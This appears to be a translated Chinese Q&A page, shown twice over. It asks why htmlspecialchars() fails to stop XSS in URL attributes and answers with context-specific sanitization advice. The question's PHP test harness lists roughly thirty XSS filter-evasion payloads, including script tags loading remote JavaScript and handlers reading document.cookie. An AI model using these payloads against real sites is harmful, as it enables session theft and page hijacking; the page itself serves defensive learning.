尽管 htmlspecialchars() 做了它的工作,XSS 攻击仍然有效
XSS attack still works despite htmlspecialchars() doing its work
你好,我正在尝试过滤那些将放置自由文本并想防止 XSS 攻击的用户的输出,所以我尝试了这个功能来检查
<?php
$patterns = [
"<SCRIPT SRC=http://xss.rocks/xss.js></SCRIPT>",
"javascript:/*--></title></style></textarea></script></xmp><svg/onload='+/\"/+/onmouseover=1/+/[*/[]/+alert(1)//'>",
"javascript:alert('XSS');",
"JaVaScRiPt:alert('XSS')",
"javascript:alert("XSS")",
"javascript:alert(\"RSnake says, 'XSS'\")",
"\<a onmouseover=\"alert(document.cookie)\"\>xxs link\</a\>",
"\<a onmouseover=alert(document.cookie)\>xxs link\</a\>",
"<IMG \"\"\"><SCRIPT>alert(\"XSS\")</SCRIPT>\"\>",
"javascript:alert(String.fromCharCode(88,83,83))",
"# onmouseover=\"alert('xxs')\"",
" onmouseover=\"alert('xxs')\"",
"x onerror=\"javascript:alert('XSS')\"",
"javascript:alert('XSS')",
"javascript:alert('XSS')",
"javascript:alert('XSS')",
"jav ascript:alert('XSS');",
"jav	ascript:alert('XSS');",
"jav
ascript:alert('XSS');",
"jav
ascript:alert('XSS');",
"<IMG SRC=java[=10=]script:alert(\"XSS\")>",
"  javascript:alert('XSS');",
"<SCRIPT/XSS SRC=\"http://xss.rocks/xss.js\"></SCRIPT>",
"<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert(\"XSS\")>",
"<SCRIPT/SRC=\"http://xss.rocks/xss.js\"></SCRIPT>",
"<<SCRIPT>alert(\"XSS\");//\<</SCRIPT>",
"<SCRIPT SRC=http://xss.rocks/xss.js?< B >",
"<SCRIPT SRC=//xss.rocks/.j>",
"`<javascript:alert>`('XSS')",
"http://xss.rocks/scriptlet.html <",
'http://xss.rocks/xss.js',
'http://xss.rocks/xss.js, http://xss.rocks/xss.js, http://xss.rocks/xss.js',
"<script>alert('XSS')<script/>"
];
foreach ($patterns as $pattern) {
$pattern = htmlspecialchars(htmlspecialchars($pattern));
?>
<iframe src="<?php echo $pattern; ?>"></iframe>
<iframe src="<?php echo $pattern; ?>" sandbox="allow-scripts"></iframe>
<img src="<?php echo $pattern; ?>">
<a href="<?php echo $pattern; ?>">Anchor</a>
<?php } ?>
我使用 htmlspecialchars(htmlspecialchars($pattern))
对任何 <
或 >
进行编码,但它似乎无法阻止攻击
和 iframe
没有 allow-script
总是在打开脚本后立即运行脚本
我想知道如何完全清理输入以完全防止这种攻击
我只需要 url,当点击第二个 link 时,它也会运行一个脚本
您无法使用 htmlspecialchars
清除所有类型的 XSS。
htmlspecialchars
可以帮助您防止 HTML 标签或一些引用的 HTML 属性内的 XSS。
您必须使用自己的清理方法清理不同类型的 XSS。
- 用户输入放在 HTML:
<p><?php echo $user_entered_variable; ?></p>
攻击向量:
<script>alert(1)</script>
这种类型的 XSS 可以使用 htmlspecialchars
函数进行清理,因为攻击者需要使用 <
和 >
来创建新的 HTML 标签。
解法:
<p><?php echo htmlspecialchars($user_entered_variable); ?></p>
- 放置在单引号属性内的用户输入:
<img title='<?php echo htmlspecialchars($user_entered_variable);?>'/>
攻击向量:
' onload='alert(1)' '
htmlspecialchars
默认不会对单引号 '
进行编码。您必须使用 ENT_QUOTES
选项打开它。
解法:
<img title='<?php echo htmlspecialchars($user_entered_variable,ENT_QUOTES);?>'/>
- 用户输入放在 URL 属性中:
src
、href
、formaction
、...
<iframe src="<?php echo htmlspecialchars($user_entered_variable); ?>"></iframe>
<img src="<?php echo htmlspecialchars($user_entered_variable); ?>">
<a href="<?php echo htmlspecialchars($user_entered_variable); ?>">Link</a>
<script>function openLink(link){window.open(link);}</script>
<button onclick="openLink('<?php echo htmlspecialchars($user_entered_variable); ?>')">JavaScript Window XSS</button>
攻击向量: javascript:alert(1)
, javscript://alert(1)
此函数不会阻止这些向量,因为它们没有任何 HTML 特殊字符。
为防止此类攻击,您需要将输入验证为 URL.
解法:
<?php
$user_entered_variable = htmlspecialchars($user_entered_variable);
$isValidURL = filter_var($user_entered_variable, FILTER_VALIDATE_URL) !== false;
if(!$isValidURL)
$user_entered_variable = 'invalid://invalid';
?>
<iframe src="<?php echo $user_entered_variable; ?>"></iframe>
<img src="<?php echo $user_entered_variable; ?>">
<a href="<?php echo $user_entered_variable; ?>">Link</a>
<script>function openLink(link){window.open(link);}</script>
<button onclick="openLink('<?php echo $user_entered_variable; ?>')">JavaScript Window XSS</button>
- 用户输入放在 JavaScript 标签内,没有任何引号
<script>
var inputNumber = <?php echo $user_entered_variable; ?>
</script>
攻击向量: 1;alert(1)
在某些情况下,我们可以轻松引用输入并通过使用 htmlspecialchars
对其进行清理来防止攻击,但如果我们需要输入为整数,我们可以通过使用输入验证来防止 XSS。
解法:
<script>
var inputNumber = <?php echo intval($user_entered_variable); ?>
</script>
将变量放在 HTML 属性中并进行适当的清理时始终引用变量。
你好,我正在尝试过滤那些将放置自由文本并想防止 XSS 攻击的用户的输出,所以我尝试了这个功能来检查
<?php
$patterns = [
"<SCRIPT SRC=http://xss.rocks/xss.js></SCRIPT>",
"javascript:/*--></title></style></textarea></script></xmp><svg/onload='+/\"/+/onmouseover=1/+/[*/[]/+alert(1)//'>",
"javascript:alert('XSS');",
"JaVaScRiPt:alert('XSS')",
"javascript:alert("XSS")",
"javascript:alert(\"RSnake says, 'XSS'\")",
"\<a onmouseover=\"alert(document.cookie)\"\>xxs link\</a\>",
"\<a onmouseover=alert(document.cookie)\>xxs link\</a\>",
"<IMG \"\"\"><SCRIPT>alert(\"XSS\")</SCRIPT>\"\>",
"javascript:alert(String.fromCharCode(88,83,83))",
"# onmouseover=\"alert('xxs')\"",
" onmouseover=\"alert('xxs')\"",
"x onerror=\"javascript:alert('XSS')\"",
"javascript:alert('XSS')",
"javascript:alert('XSS')",
"javascript:alert('XSS')",
"jav ascript:alert('XSS');",
"jav	ascript:alert('XSS');",
"jav
ascript:alert('XSS');",
"jav
ascript:alert('XSS');",
"<IMG SRC=java[=10=]script:alert(\"XSS\")>",
"  javascript:alert('XSS');",
"<SCRIPT/XSS SRC=\"http://xss.rocks/xss.js\"></SCRIPT>",
"<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert(\"XSS\")>",
"<SCRIPT/SRC=\"http://xss.rocks/xss.js\"></SCRIPT>",
"<<SCRIPT>alert(\"XSS\");//\<</SCRIPT>",
"<SCRIPT SRC=http://xss.rocks/xss.js?< B >",
"<SCRIPT SRC=//xss.rocks/.j>",
"`<javascript:alert>`('XSS')",
"http://xss.rocks/scriptlet.html <",
'http://xss.rocks/xss.js',
'http://xss.rocks/xss.js, http://xss.rocks/xss.js, http://xss.rocks/xss.js',
"<script>alert('XSS')<script/>"
];
foreach ($patterns as $pattern) {
$pattern = htmlspecialchars(htmlspecialchars($pattern));
?>
<iframe src="<?php echo $pattern; ?>"></iframe>
<iframe src="<?php echo $pattern; ?>" sandbox="allow-scripts"></iframe>
<img src="<?php echo $pattern; ?>">
<a href="<?php echo $pattern; ?>">Anchor</a>
<?php } ?>
我使用 htmlspecialchars(htmlspecialchars($pattern))
对任何 <
或 >
进行编码,但它似乎无法阻止攻击
和 iframe
没有 allow-script
总是在打开脚本后立即运行脚本
我想知道如何完全清理输入以完全防止这种攻击
我只需要 url,当点击第二个 link 时,它也会运行一个脚本
您无法使用 htmlspecialchars
清除所有类型的 XSS。
htmlspecialchars
可以帮助您防止 HTML 标签或一些引用的 HTML 属性内的 XSS。
您必须使用自己的清理方法清理不同类型的 XSS。
- 用户输入放在 HTML:
<p><?php echo $user_entered_variable; ?></p>
攻击向量:
<script>alert(1)</script>
这种类型的 XSS 可以使用 htmlspecialchars
函数进行清理,因为攻击者需要使用 <
和 >
来创建新的 HTML 标签。
解法:
<p><?php echo htmlspecialchars($user_entered_variable); ?></p>
- 放置在单引号属性内的用户输入:
<img title='<?php echo htmlspecialchars($user_entered_variable);?>'/>
攻击向量:
' onload='alert(1)' '
htmlspecialchars
默认不会对单引号 '
进行编码。您必须使用 ENT_QUOTES
选项打开它。
解法:
<img title='<?php echo htmlspecialchars($user_entered_variable,ENT_QUOTES);?>'/>
- 用户输入放在 URL 属性中:
src
、href
、formaction
、...
<iframe src="<?php echo htmlspecialchars($user_entered_variable); ?>"></iframe>
<img src="<?php echo htmlspecialchars($user_entered_variable); ?>">
<a href="<?php echo htmlspecialchars($user_entered_variable); ?>">Link</a>
<script>function openLink(link){window.open(link);}</script>
<button onclick="openLink('<?php echo htmlspecialchars($user_entered_variable); ?>')">JavaScript Window XSS</button>
攻击向量: javascript:alert(1)
, javscript://alert(1)
此函数不会阻止这些向量,因为它们没有任何 HTML 特殊字符。 为防止此类攻击,您需要将输入验证为 URL.
解法:
<?php
$user_entered_variable = htmlspecialchars($user_entered_variable);
$isValidURL = filter_var($user_entered_variable, FILTER_VALIDATE_URL) !== false;
if(!$isValidURL)
$user_entered_variable = 'invalid://invalid';
?>
<iframe src="<?php echo $user_entered_variable; ?>"></iframe>
<img src="<?php echo $user_entered_variable; ?>">
<a href="<?php echo $user_entered_variable; ?>">Link</a>
<script>function openLink(link){window.open(link);}</script>
<button onclick="openLink('<?php echo $user_entered_variable; ?>')">JavaScript Window XSS</button>
- 用户输入放在 JavaScript 标签内,没有任何引号
<script>
var inputNumber = <?php echo $user_entered_variable; ?>
</script>
攻击向量: 1;alert(1)
在某些情况下,我们可以轻松引用输入并通过使用 htmlspecialchars
对其进行清理来防止攻击,但如果我们需要输入为整数,我们可以通过使用输入验证来防止 XSS。
解法:
<script>
var inputNumber = <?php echo intval($user_entered_variable); ?>
</script>
将变量放在 HTML 属性中并进行适当的清理时始终引用变量。